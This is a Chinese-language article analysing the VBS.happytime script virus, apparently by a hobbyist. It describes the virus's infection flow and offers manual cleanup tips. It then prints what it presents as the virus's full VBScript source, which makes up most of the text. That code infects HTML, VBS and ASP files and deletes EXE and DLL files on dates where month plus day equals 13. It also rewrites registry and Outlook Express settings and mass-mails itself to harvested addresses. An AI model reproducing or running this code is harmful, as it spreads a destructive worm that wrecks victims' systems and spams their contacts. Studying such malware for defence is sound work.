VBS.happytime是一个感染 VBS、html 和脚本文件的脚本类病毒。该病毒采用 VBScript 语言编写，它既可在电子邮件的形式通过互联网进行传播，也可以在本地通过文件进行感染。 当用浏览器打开一个被感染的 html 文件时，病毒会设置网页的时间中断事件，每 10 秒运行执行 Help.vbs 一次，该文件存放在 C:\\ 盘下第一个子目录下。如果通过 hta文件激活病毒，病毒还会在 C:\\ 盘下第一个子目录下生成 Help.hta 文件并执行。

VBS.happytime病毒简介(简介 高破坏性)

发病机制(网页染毒感染系统文件 发作 架构 一系列破坏任务 防御此病毒 安全第一)

源程序

VBS.happytime病毒简介

简介

VBS.happytime病毒危害程度很大，可以破坏 html、htm、htt、vbs 和 asp 文件的内容(被修改成病毒代码)；大量散发病毒邮件， 破坏 Windows 资源管理器中缺省的 Web 视图等。

高破坏性

这种病毒是用VBSCRIPT语言编写的，其第一行写着　I　am　sorry,　happy　time.(意为对不起您了，欢乐时光。真是气死人不偿命！恶作剧的混蛋口说"Sorry"祝人"欢乐"？！)　本人不懂VBSCRIPT语言，但曾学过VISUAL　BASIC，再翻了一些VBSCRIPT的资料，一番临时抱佛脚后，开始解读病毒源程序。由于缺乏相应资料加之本人水平有限，不能读懂每一行代码，只能看出个大概，但我越分析越心惊，这是个仅浏览网站页面就会感染的高传染性，高破坏性的病毒！

发病机制

先看一下此病毒的发病机制：

网页染毒感染系统文件

首次染毒时，会将WINDOWS　\\　WEB文件夹里的所有网页文件染上病毒，并找出这些文件中的任何EMAIL地址向它们发送病毒邮件，对方只要一打开即会染毒；以后每隔十秒钟发作一次，但发作完后仍驻留在内存，十秒一次的发作，再大的内存也会给蚕食殆尽；每次发作时，在普通的日子里，会找出一个后缀名为HTML、HTM、VBS、ASP的文件传染（别小看了每次一个文件，它可是十秒一次的发作哟！），并查出此文件中所有的EMAIL地址发送病毒邮件，在月份加天数为13的"特殊"日子里（1月12日、2月11日......12月1日），它每次发作会找出一个后缀名为EXE、DLL的文件（通常为重要的系统文件）来删除，使你的电脑彻底瘫痪；

发作

该病毒在WINDOWS注册表内保存已发作的次数，每次发作时它检查已发作次数，如其是366的倍数，则向外乱发病毒邮件：如系统时间的秒数是偶数，则发送系统邮件，如是奇数，则到OUTLOOK的默任目录里取得EMAIL地址发送病毒邮件。

顺便说一句，由于此病毒发作频繁且乱发EMAIL，到月底结帐时，你可能要多付一大笔冤枉钱。

架构

现在我们来看看这可恶的病毒的结构，看它是如何使得我们在浏览网页时即染毒的。

前面提到过，该病毒是用VBSCRIPT语言写成的，翻了一些资料，才知道VBSCRIPT是一种能增强网页功能的脚本语言，它嵌入HTML文件中，你浏览网页时，它也与HTML文件一起调入内存，由浏览器解释并执行。所以在你看到网页时，它其中所含的VBSCRIPT代码（如果有的话）已被执行，这样就很容易被心怀叵测者用来编制破坏程序。VBSCRIPT的设计者们也考虑到了这点，因此VBSCRIPT被设计成VISUAL　BASIC的简化版，舍弃了一些"危险的"语句命令，所以VBSCRIPT是"安全的"，可用于网页的编制。确实光是VBSCRIPT的话确实无甚威胁，可是VBSCRIPT提供了创建并使用对象（OBJECT）功能，而WINDOWS提供大量对象给各种语言使用，利用这些对象你几乎能干任何事！比如说本病毒的许多破坏工作就是由创建并使用WSCRIPT（WINDOWS　SCRIPT即WINDOWS脚本语言）对象来完成的，所以可以这样说：VBSCRIPT是不安全的，是危险的！欢乐时光病毒就是个最有力的见证！

言归正传，我们还是来看看病毒的结构。

初始化部分

初始化（建立SCRIPTLET.TYPELIB对象等）

↓

当前是HTML状态？

是　↙　↘　否

━━━━━━　━━━━━━━

↓　↓

在WINDOWS目录下有HELP.VBS文件吗？　运行主发作程序

↓

有　↙　↘　无

━━━　━━━━━━━

↓　（3）　↓　（1）

设置为每10秒钟调用一次　将本文件中的病毒代码以HTML格式存为

HELP.VBS　WINDOWS目录下的HELP.HTA文件，并调用HELP.HTA。

结束　结束

主发作程序

↓

建立含有HTML，VBS，HTM，ASP的　后缀名表

当前是HELP.VBS运行状态？

（4）　是　↙　↘　否　（2）

━━━━━━　━━━━━━━

↓　↓

如月+天为13则将后缀名表改为　用本病毒代码在WINDOWS目录下创

只包含EXE，DLL；　建HELP.VBS文件，及UNTITLE.HTM

文件；

将注册表中的HKEY_CURRENT_USER

Software\\Help\\Count病毒发作计数加1；　修改HKEY_CURRENT_USER\\Identities

\\用户标识号\\Software\\Microsoft

\\look　Express\\5.0\\Mail\\下的键值：

Software\\Help\\File_Name待感染文件名　Message　Send　HTML改为1

取出，并按后缀名表找出下一待感染文件，　Compose　Use　Stationery改为1

存于此处；　Stationery　Name改为指向　untitle.htm

查出其中的EMAIL地址发送病毒邮件；　在WINDOWS\\WEB目录下查找HTML，VBS，

HTM，ASP，HTT文件，在它们末尾如待

感染文件名是EXE，DLL文件则删除！

末尾添加本病毒代码，并查出其中的

EMAIL地址发送病毒邮件

用本病毒代码在WINDOWS目录下创建一个HTM文件并将其文件名写入HKEY_CURRENT_USER\\Software\\Help\\Wallpaper及HKEY_CURRENT_USER\\Control　Panel\\desktop\\wallPaper

以上流程基本解释了其发病机制，现在我对流程上（）内的数字作一下说明：

一系列破坏任务

刚开始接触本病毒时，我们一定是处于浏览含病毒的网页状态，也即是流程上的HTML状态，且此时硬盘上尚未有HELP.VBS病毒文件，所以病毒执行（1）分支，建立HELP.HTA病毒文件，并调用它。然后在HELP.HTA病毒文件运行时，此时它已不处于HTML状态，所以运行主发作程序，在主发作程序中，由于此时不是HELP.VBS运行状态所以运行（2）分支并建立HELP.VBS病毒文件，以后再遇见本病毒时，由于已有了HELP.VBS病毒文件，就执行（3）分支，设定为每10秒钟执行一次HELP.VBS，而HELP.VBS会执行主发作程序的（4）分支，完成一系列破坏任务。

防御此病毒

听说现在已有了能杀此病毒的软件，具体我也不清楚。如你像我一样已不幸染毒，在得到杀毒软件前，首先应注意在"特殊"日子里不要开机，以免爱机成为死机；另外从流程可看出，本病毒只感染后缀名为HTM，HTML，VBS，ASP（以及WINDOWS\\WEB下的HTT文件），所以你开机只至WINDOWS桌面出现都是安全的，把桌面的墙纸设为无，再次重新启动，注意不要使用我的电脑或是WINDOWS资源管理器，因为它们每次运行都要装入许多文件，极有可能激活病毒，你要处理文档最好进入DOS状态，在DOS下操作；注意不要看任何帮助信息，因为很多帮助文件都是HTML格式的。如你是编程好手，你可编个程序，检查硬盘中所有受感染后缀名为HTM，HTML，VBS，ASP的文件，并清除病毒，如你不会编程，又无杀毒软件，你只能用查找功能查出所有后缀名为HTM，HTML，VBS，ASP的文件，然后一一手工操作：重命名为TXT文件，打开检查，如文件尾有病毒则删除，保存后再改回原来的文件名，然后是下一个.......

安全第一

但我们还要上网，还要浏览，即使我们有了能杀欢乐时光病毒的软件，谁能保证哪个家伙不会再写出诸如此类的病毒使我们受害？看来只有等微软出个能禁止VBSCRIPT，JAVASCRIPT，ACTIVE　X........的浏览器来了。就我个人而言，情愿不要任何特效，只要安全。

源程序

最后，奉上欢乐时光病毒的源程序，供有兴趣者参考，如哪位高人能参透此程序，也请发表解析结果，让我们对次类病毒有更深认识。

我对源程序作了必要的缩进处理，以方便阅读。

欢乐时光病毒的源程序：

Rem　I　am　sorry!　happy　time

On　Error　Resume　Next

mload

Sub　mload()

On　Error　Resume　Next

mPath　=　Grf()

Set　Os　=　CreateObject("Scriptlet.TypeLib")

Set　Oh　=　CreateObject("Shell.Application")

If　IsHTML　Then

mURL　=　LCase(document.Location)

If　mPath　=　""　Then

Os.Reset

Os.Path　=　"C:\\Help.htm"

Os.Doc　=　Lhtml()

Os.Write()

Ihtml　=　""

Call　document.Body.insertAdjacentHTML("AfterBegin",　Ihtml)

Else

If　Iv(mPath,　"Help.vbs")　Then

setInterval　"Rt()",　10000

Else

m　=　"hta"

If　LCase(m)　=　Right(mURL,　Len(m))　Then

id　=　setTimeout("mclose()",　1)

main

Else

Os.Reset()

Os.Path　=　mPath　&　"\\"　&　"Help.hta"

Os.Doc　=　Lhtml()

Os.write()

Iv　mPath,　"Help.hta"

End　If

End　If

End　If

Else

main

End　If

End　Sub

Sub　main()

On　Error　Resume　Next

Set　Of　=　CreateObject("Scripting.FileSystemObject")

Set　Od　=　CreateObject("Scripting.Dictionary")

Od.Add　"html",　"1100"

Od.Add　"vbs",　"0100"

Od.Add　"htm",　"1100"

Od.Add　"asp",　"0010"

Ks　=　"HKEY_CURRENT_USER\\Software\\"

Ds　=　Grf()

Cs　=　Gsf()

If　IsVbs　Then

If　Of.FileExists("C:\\help.htm")　Then

Of.DeleteFile　("C:\\help.htm")

End　If

Key　=　CInt(Month(Date)　+　Day(Date))

If　Key　=　13　Then

Od.RemoveAll

Od.Add　"exe",　"0001"

Od.Add　"dll",　"0001"

End　If

Cn　=　Rg(Ks　&　"Help\\Count")

If　Cn　=　""　Then

Cn　=　1

End　If

Rw　Ks　&　"Help\\Count",　Cn　+　1

f1　=　Rg(Ks　&　"Help\\FileName")

f2　=　FNext(Of,　Od,　f1)

fext　=　GetExt(Of,　Od,　f2)

Rw　Ks　&　"Help\\FileName",　f2

If　IsDel(fext)　Then

f3　=　f2

f2　=　FNext(Of,　Od,　f2)

Rw　Ks　&　"Help\\FileName",　f2

Of.DeleteFile　f3

Else

If　LCase(WScript.ScriptFullname)　<>　LCase(f2)　Then

Fw　Of,　f2,　fext

End　If

End　If

If　(CInt(Cn)　Mod　366)　=　0　Then

If　(CInt(Second(Time))　Mod　2)　=　0　Then

Tsend

Else

adds　=　Og

Msend　(adds)

End　If

End　If

wp　=　Rg("HKEY_CURRENT_USER\\Control　Panel\\desktop\\wallPaper")

If　Rg(Ks　&　"Help\\wallPaper")　<>　wp　Or　wp　=　""　Then

If　wp　=　""　Then

n1　=　""

n3　=　Cs　&　"\\Help.htm"

Else

mP　=　Of.GetFile(wp).ParentFolder

n1　=　Of.GetFileName(wp)

n2　=　Of.GetBaseName(wp)

n3　=　Cs　&　"\\"　&　n2　&　".htm"

End　If

Set　pfc　=　Of.CreateTextFile(n3,　True)

mt　=　Sa("1100")

pfc.Write　"<"　&　"HTML><"　&　"body　bgcolor=''#007f7f''　background=''"　&　n1　&　"''><"　&　"/Body><"　&　"/HTML>"　&　mt

pfc.Close

Rw　Ks　&　"Help\\wallPaper",　n3

Rw　"HKEY_CURRENT_USER\\Control　Panel\\desktop\\wallPaper",　n3

End　If

Else

Set　fc　=　Of.CreateTextFile(Ds　&　"\\Help.vbs",　True)

fc.Write　Sa("0100")

fc.Close

bf　=　Cs　&　"\\Untitled.htm"

Set　fc2　=　Of.CreateTextFile(bf,　True)

fc2.Write　Lhtml

fc2.Close

oeid　=　Rg("HKEY_CURRENT_USER\\Identities\\Default　User　ID")

oe　=　"HKEY_CURRENT_USER\\Identities\\"　&　oeid　&　"\\Software\\Microsoft\\Outlook　Express\\5.0\\Mail"

MSH　=　oe　&　"\\Message　Send　HTML"

CUS　=　oe　&　"\\Compose　Use　Stationery"

SN　=　oe　&　"\\Stationery　Name"

Rw　MSH,　1

Rw　CUS,　1

Rw　SN,　bf

Web　=　Cs　&　"\\WEB"

Set　gf　=　Of.GetFolder(Web).Files

Od.Add　"htt",　"1100"

For　Each　m　In　gf

fext　=　GetExt(Of,　Od,　m)

If　fext　<>　""　Then

Fw　Of,　m,　fext

End　If

Next

End　If

End　Sub

Sub　mclose()

document.Write　"<"　&　"title>I　am　sorry!"

window.Close

End　Sub

Sub　Rt()

Dim　mPath

On　Error　Resume　Next

mPath　=　Grf()

Iv　mPath,　"Help.vbs"

End　Sub

Function　Sa(n)

Dim　VBSText,　m

VBSText　=　Lvbs()

If　Mid(n,　3,　1)　=　1　Then

m　=　""

End　If

If　Mid(n,　2,　1)　=　1　Then

m　=　VBSText

End　If

If　Mid(n,　1,　1)　=　1　Then

m　=　Lscript(m)

End　If

Sa　=　m　&　vbCrLf

End　Function

Sub　Fw(Of,　S,　n)

Dim　fc,　fc2,　m,　mmail,　mt

On　Error　Resume　Next

Set　fc　=　Of.OpenTextFile(S,　1)

mt　=　fc.ReadAll

fc.Close

If　Not　Sc(mt)　Then

mmail　=　Ml(mt)

mt　=　Sa(n)

Set　fc2　=　Of.OpenTextFile(S,　8)

fc2.Write　mt

fc2.Close

Msend　(mmail)

End　If

End　Sub

Function　Sc(S)

mN　=　"Rem　I　am　sorry!　happy　time"

If　InStr(S,　mN)　>　0　Then

Sc　=　True

Else

Sc　=　False

End　If

End　Function

Function　FNext(Of,　Od,　S)

Dim　fpath,　fname,　fext,　T,　gf

On　Error　Resume　Next

fname　=　""

T　=　False

If　Of.FileExists(S)　Then

fpath　=　Of.GetFile(S).ParentFolder

fname　=　S

ElseIf　Of.FolderExists(S)　Then

fpath　=　S

T　=　True

Else

fpath　=　Dnext(Of,　"")

End　If

Do　While　True

Set　gf　=　Of.GetFolder(fpath).Files

For　Each　m　In　gf

If　T　Then

If　GetExt(Of,　Od,　m)　<>　""　Then

FNext　=　m

Exit　Function

End　If

ElseIf　LCase(m)　=　LCase(fname)　Or　fname　=　""　Then

T　=　True

End　If

Next

fpath　=　Pnext(Of,　fpath)

Loop

End　Function

Function　Pnext(Of,　S)

On　Error　Resume　Next

Dim　Ppath,　Npath,　gp,　pn,　T,　m

T　=　False

If　Of.FolderExists(S)　Then

Set　gp　=　Of.GetFolder(S).SubFolders

pn　=　gp.Count

If　pn　=　0　Then

Ppath　=　LCase(S)

Npath　=　LCase(Of.GetParentFolderName(S))

T　=　True

Else

Npath　=　LCase(S)

End　If

Do　While　Not　Er

For　Each　pn　In　Of.GetFolder(Npath).SubFolders

If　T　Then

If　Ppath　=　LCase(pn)　Then

T　=　False

End　If

Else

Pnext　=　LCase(pn)

Exit　Function

End　If

Next

T　=　True

Ppath　=　LCase(Npath)

Npath　=　Of.GetParentFolderName(Npath)

If　Of.GetFolder(Ppath).IsRootFolder　Then

m　=　Of.GetDriveName(Ppath)

Pnext　=　Dnext(Of,　m)

Exit　Function

End　If

Loop

End　If

End　Function

Function　Dnext(Of,　S)

Dim　dc,　n,　d,　T,　m

On　Error　Resume　Next

T　=　False

m　=　""

Set　dc　=　Of.Drives

For　Each　d　In　dc

If　d.DriveType　=　2　Or　d.DriveType　=　3　Then

If　T　Then

Dnext　=　d

Exit　Function

Else

If　LCase(S)　=　LCase(d)　Then

T　=　True

End　If

If　m　=　""　Then

m　=　d

End　If

End　If

End　If

Next

Dnext　=　m

End　Function

Function　GetExt(Of,　Od,　S)

Dim　fext

On　Error　Resume　Next

fext　=　LCase(Of.GetExtensionName(S))

GetExt　=　Od.Item(fext)

End　Function

Sub　Rw(k,　v)

Dim　R

On　Error　Resume　Next

Set　R　=　CreateObject("WScript.Shell")

R.RegWrite　k,　v

End　Sub

Function　Rg(v)

Dim　R

On　Error　Resume　Next

Set　R　=　CreateObject("WScript.Shell")

Rg　=　R.RegRead(v)

End　Function

Function　IsVbs()

Dim　ErrTest

On　Error　Resume　Next

ErrTest　=　WScript.ScriptFullname

If　Err　Then

IsVbs　=　False

Else

IsVbs　=　True

End　If

End　Function

Function　IsHTML()

Dim　ErrTest

On　Error　Resume　Next

ErrTest　=　document.Location

If　Er　Then

IsHTML　=　False

Else

IsHTML　=　True

End　If

End　Function

Function　IsMail(S)

Dim　m1,　m2

IsMail　=　False

If　InStr(S,　vbCrLf)　=　0　Then

m1　=　InStr(S,　"@")

m2　=　InStr(S,　".")

If　m1　<>　0　And　m1　<　m2　Then

IsMail　=　True

End　If

End　If

End　Function

Function　Lvbs()

Dim　f,　m,　ws,　Of

On　Error　Resume　Next

If　IsVbs　Then

Set　Of　=　CreateObject("Scripting.FileSystemObject")

Set　f　=　Of.OpenTextFile(WScript.ScriptFullname,　1)

Lvbs　=　f.ReadAll

Else

For　Each　ws　In　document.scripts

If　LCase(ws.Language)　=　"vbscript"　Then

If　Sc(ws.Text)　Then

Lvbs　=　ws.Text

Exit　Function

End　If

End　If

Next

End　If

End　Function

Function　Iv(mPath,　mName)

Dim　Shell

On　Error　Resume　Next

Set　Shell　=　CreateObject("Shell.Application")

Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb

If　Er　Then

Iv　=　False

Else

Iv　=　True

End　If

End　Function

Function　Grf()

Dim　Shell,　mPath

On　Error　Resume　Next

Set　Shell　=　CreateObject("Shell.Application")

mPath　=　"C:\\"

For　Each　mShell　In　Shell.NameSpace(mPath).Items

If　mShell.IsFolder　Then

Grf　=　mShell.Path

Exit　Function

End　If

Next

If　Er　Then

Grf　=　""

End　If

End　Function

Function　Gsf()

Dim　Of,　m

On　Error　Resume　Next

Set　Of　=　CreateObject("Scripting.FileSystemObject")

m　=　Of.GetSpecialFolder(0)

If　Er　Then

Gsf　=　"C:\\"

Else

Gsf　=　m

End　If

End　Function

Function　Lhtml()

Lhtml　=　"<"　&　"HTML"　&　">"　&　vbCrLf　&　_

"<"　&　"Title>　Help　<"　&　"/HEAD>"　&　vbCrLf　&　_

"<"　&　"Body>　"　&　Lscript(Lvbs())　&　vbCrLf　&　_

"<"　&　"/Body>"

End　Function

Function　Lscript(S)

Lscript　=　"<"　&　"script　language=''VBScript''>"　&　vbCrLf　&　_

S　&　"<"　&　"/script"　&　">"

End　Function

Function　Sl(S1,　S2,　n)

Dim　l1,　l2,　l3,　i

l1　=　Len(S1)

l2　=　Len(S2)

i　=　InStr(S1,　S2)

If　i　>　0　Then

l3　=　i　+　l2　-　1

If　n　=　0　Then

Sl　=　Left(S1,　i　-　1)

ElseIf　n　=　1　Then

Sl　=　Right(S1,　l1　-　l3)

End　If

Else

Sl　=　""

End　If

End　Function

Function　Ml(S)

Dim　S1,　S3,　S2,　T,　adds,　m

S1　=　S

S3　=　""""

adds　=　""

S2　=　S3　&　"mailto"　&　":"

T　=　True

Do　While　T

S1　=　Sl(S1,　S2,　1)

If　S1　=　""　Then

T　=　False

Else

m　=　Sl(S1,　S3,　0)

If　IsMail(m)　Then

adds　=　adds　&　m　&　vbCrLf

End　If

End　If

Loop

Ml　=　Split(adds,　vbCrLf)

End　Function

Function　Og()

Dim　i,　n,　m(),　Om,　Oo

Set　Oo　=　CreateObject("Outlook.Application")

Set　Om　=　Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items

n　=　Om.Count

ReDim　m(n)

For　i　=　1　To　n

m(i　-　1)　=　Om.Item(i).Email1Address

Next

Og　=　m

End　Function

Sub　Tsend()

Dim　Od,　MS,　MM,　a,　m

Set　Od　=　CreateObject("Scripting.Dictionary")

MConnect　MS,　MM

MM.FetchSorted　=　True

MM.Fetch

For　i　=　0　To　MM.MsgCount　-　1

MM.MsgIndex　=　i

a　=　MM.MsgOrigAddress

If　Od.Item(a)　=　""　Then

Od.Item(a)　=　MM.MsgSubject

End　If

Next

For　Each　m　In　Od.Keys

MM.Compose

MM.MsgSubject　=　"Fw:　"　&　Od.Item(m)

MM.RecipAddress　=　m

MM.AttachmentPathName　=　Gsf　&　"\\Untitled.htm"

MM.Send

Next

MS.SignOff

End　Sub

Function　MConnect(MS,　MM)

Dim　U

On　Error　Resume　Next

Set　MS　=　CreateObject("MSMAPI.MAPISession")

Set　MM　=　CreateObject("MSMAPI.MAPIMessages")

U　=　Rg("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows　Messaging　Subsystem\\Profiles\\DefaultProfile")

MS.UserName　=　U

MS.DownLoadMail　=　False

MS.NewSession　=　False

MS.LogonUI　=　True

MS.SignOn

MM.SessionID　=　MS.SessionID

End　Function

Sub　Msend(Address)

Dim　MS,　MM,　i,　a

MConnect　MS,　MM

i　=　0

MM.Compose

For　Each　a　In　Address

If　IsMail(a)　Then

MM.RecipIndex　=　i

MM.RecipAddress　=　a

i　=　i　+　1

End　If

Next

MM.MsgSubject　=　"　Help　"

MM.AttachmentPathName　=　Gsf　&　"\\Untitled.htm"

MM.Send

MS.SignOff

End　Sub

Function　Er()

If　Err.Number　=　0　Then

Er　=　False

Else

Err.Clear

Er　=　True

End　If

End　Function

Function　IsDel(S)

If　Mid(S,　4,　1)　=　1　Then

IsDel　=　True

Else

IsDel　=　False

End　If

End　Function